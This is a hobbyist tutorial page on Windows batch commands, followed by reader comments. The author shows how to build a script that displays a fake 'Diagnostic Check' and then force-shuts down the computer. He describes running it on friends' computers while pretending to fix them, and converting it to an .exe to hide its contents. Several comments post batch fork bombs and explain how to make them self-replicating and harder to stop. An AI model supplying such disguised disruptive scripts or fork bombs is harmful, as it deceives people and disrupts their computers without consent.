Slightly More Advanced Basic Batch

145,892

55

201

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: SHUTDOWN Command

This command is the Funnest command there is, and one of my personal favorites!

I use it mainly when a virus scan is going on, and I want the computer to shutdown afterwards.

But occasionally, when I get the chance, I use it to mess with my friends. ;-D

Though you Do need Administrative properties to run it.

The command goes like this:

SHUTDOWN -S -F -T 900 -C "Insert Message Here."

Go ahead, try it out!

shutdown is the beginning of the command.

-S means "Shutdown" if you substitute it with an -r then it would "Restart"

-F means "Force Programs to Close"

-T means "Timer" as in, how much time, in seconds, before the computer shuts down.

-C means "Message" which is kinda weird, cause message doesn't start with a c. Just type a message right after the -C in quotes, and the shutdown will display it for you.

I love pulling this one on people.
They'll be like "Hey {Neodudeman} can you fix my computer?"
And I'll say "Sure! Limme just get out my flash drive and check your ram"
And I'll start the bat, and then the shutdown will pop up, and then I'll run.

lol, good times had by all!

To stop the shutdown, simply type in:

SHUTDOWN -A

-A means "Abort"

Neat eh?

Step 2: @ECHO OFF/ON Command

The ECHO OFF/ON Command.

This command will either turn ON, or OFF the command you put in a batch file from showing itself.

What I mean is, if you Really Did go to Notepad, and made a batch file, you would notice it would show the commands you put in before executing them.

I.E.

If you typed "shutdown -s -f -t 900 -c "Insert Message Here."" into your batch file, and Ran the batch file, the CMD window would re-show you the "shutdown -s -f -t 900 -c "Inesrt Message Here."" and would probably give it away if you were trying to trick a friend.

By typing in
@ECHO OFF

Before the shutdown command, it would not show "shutdown -s -f -t 900 "Insert Message Here."" in the command window, but instead would go straight to shutting down their computer! Yay!

The @ symbol before the ECHO command means that the ECHO command will stay throughout the whole batch file unless turned on again. Without the @, it will only apply to the command directly after it.

ECHO can also be used to relay a message aswell

I.E.

ECHO Your computer is working fine.

Will have the Command window say: "Your computer is working fine."
Not quotes neccessary for this command, or else the quotes will show up along with the message.

This can be used to disguise your shutdown file, and make it seem like it is fine, as in this command below:
@ECHO OFFECHO Diagnostic Check: EngagedECHO Ram.. OKECHO Hard Drive.. OKECHO Internet.. OKECHO Continuing with Diagnostic Check..PAUSESHUTDOWN -S -F -T 900 -C "ERROR"ECHO ERRORECHO ERRORECHO ERRORECHO ERRORECHO ERRORPAUSE

Will scare the crap out of any un-tech-savy person!

Step 3: PAUSE Command

In the last stop, you may have seen me use the PAUSE command.

I mainly use this command so that the Command Prompt will stay open long enough for a user to read the ECHO.

If you have been using Batch, as you should be, you will have noticed that the Command window will close automatically if the Batch is not run from the Command Prompt itself.

The {{{
PAUSE
}}} comes in handy in these situations.

It does as its name implies! It Pauses until the user has pressed any key.

As said before, I use this to keep the Command Prompt open so people can freak out about the messages they see. ;-)

Step 4: BAT2EXE: Hiding Your Haxing

Ok, so you've made a nice lil shutdown Batch for yourself, but now how do you go about keeping the file a secret?

Sure, you could name the .bat to something like "Anti-Shutdown.bat" or something, but you can still read it, and edit it by Right-Clicking and selecting "Edit"

The safest way is to make your .bat into a .exe!

Yes! Perfect! That'll keep it hidden!

But how do you do that?

You use a Bat to Exe converter from F2ko.de.

It's a pretty neat website, actually, because they have an Online batch converter as well, in case you're paranoid about downloading files from the internets.

I've uploaded the file to Instructables for your convenience, but you can simply download the original from F2ko.de, or even use their online version.

That's it for this edition!

~Seeya!~

Be the First to Share

    Recommendations

    • Skateboard Contest

      Skateboard Contest
    • Make it Move

      Make it Move
    • Teacher Contest

      Teacher Contest

    201 Discussions

    Can anyone mail me all the commands and how it is used? I am gonna creating a tutorial for noob soon.. as soon as i understand all the code. I am a noob but a fast learner

    2 replies

    Dude, you can just go to cmd and type 'help'. It'll show you all the commands and what they do. That's how I found out most stuff.

    0
    None
    Seban88Seban88

    Reply 5 years ago on Introduction

    you can also find out about those commands' parameters by adding '/?' at the end. For example, to find out about the parameters of the shutdown command, you just type: "shutdown /?".

    0
    None
    rhafiz

    6 years ago on Step 4

    can anyone give me a tutorial on the all the commands i know the basic ones like echo off,echo,pause thats it :(
    lol im a beginner

    0
    None
    J.W

    12 years ago on Step 4

    bloody noobs, none of you know nothing about programming, you just wanna make viruses.

    2 replies
    0
    None
    themasterpyroJ.W

    Reply 12 years ago on Introduction

    ummmm isnt that why we learn programing in the first place?so we can crash the whole world whenever we want as if its a pass time?

    0
    None
    Prof. Picklethemasterpyro

    Reply 6 years ago on Step 4

    What about the thrill of creating something that has never been done before? Setting the new standard for the world around us? Advancing through the tiers of history to bring forward a new age in technology?

    Am I the only one who despises "bathc hackz"?

    0
    None
    Prof. Pickle

    6 years ago on Step 3

    All fork bombs are the same in my opinion, I don't see why people keep posting them.

    0
    None
    Izzyz

    10 years ago on Step 3

    Type This In One It's A MAJOR FORK BOMB if you use it you will have to shut down the computer by holding the button for four seconds or unplug the computer here it is: :top start start start start start start start goto top

    9 replies
    0
    None
    flashcactusIzzyz

    Reply 9 years ago on Introduction

    that one is really esy to kill.
    you just have to kill one process and it stops.
    the cmd windows don't do nothing
    but if u make something like this:

    set x=%0
    :top
    start %x%
    goto top


    it will be a much more evil one and harder to kill because EACH new program will replicate making new programs that make new programs that make new programs that make new programs that make new programs that ma.............

    so to stop this one you should kill ALL the bombs in one time which is really hard to do...

    0
    None
    NetworkNinjaIzzyz

    Reply 10 years ago on Step 3

    This is all you need for a killer fork bomb: @echo off :bomb start goto bomb the @echo off disables showing tour commands :D you also only need one "start" cuz it infinitely loops

    0
    None
    kroq-gar78Files

    Reply 8 years ago on Step 3

    then what is a fork bomb If the above one isn't? A fork bomb is a denial of service attack by creating a process that "forks" another process, therefore recursively creating an "infinite" amount of processes until the computer/device hangs,freezes, or crashes.

    this is NetworkNinja's code:
    :bomb
    start
    goto bomb

    0
    None
    Pie NinjaIzzyz

    Reply 10 years ago on Introduction

    No you don't, just press the pause/break button, then hold down alt+f4.

    0
    None
    kroq-gar78Izzyz

    Reply 10 years ago on Introduction

    don't put a lot of starts. there is no difference between lots of starts and 1 start if it is recursion

    0
    None
    uNiq1

    12 years ago

    I loved the first guide (basics) and now this one I ENCOURAGE YOU to make more because all these virus makin and fun annoying batch guides assume you know the basics but your tutorials are very easy to understand and send the message across i used to be into hacking and basics of comp and then i kind of got out. but because of your guides im hoping to get back in and your guides are intresting. If you have any websites you know that have guides like yours please reply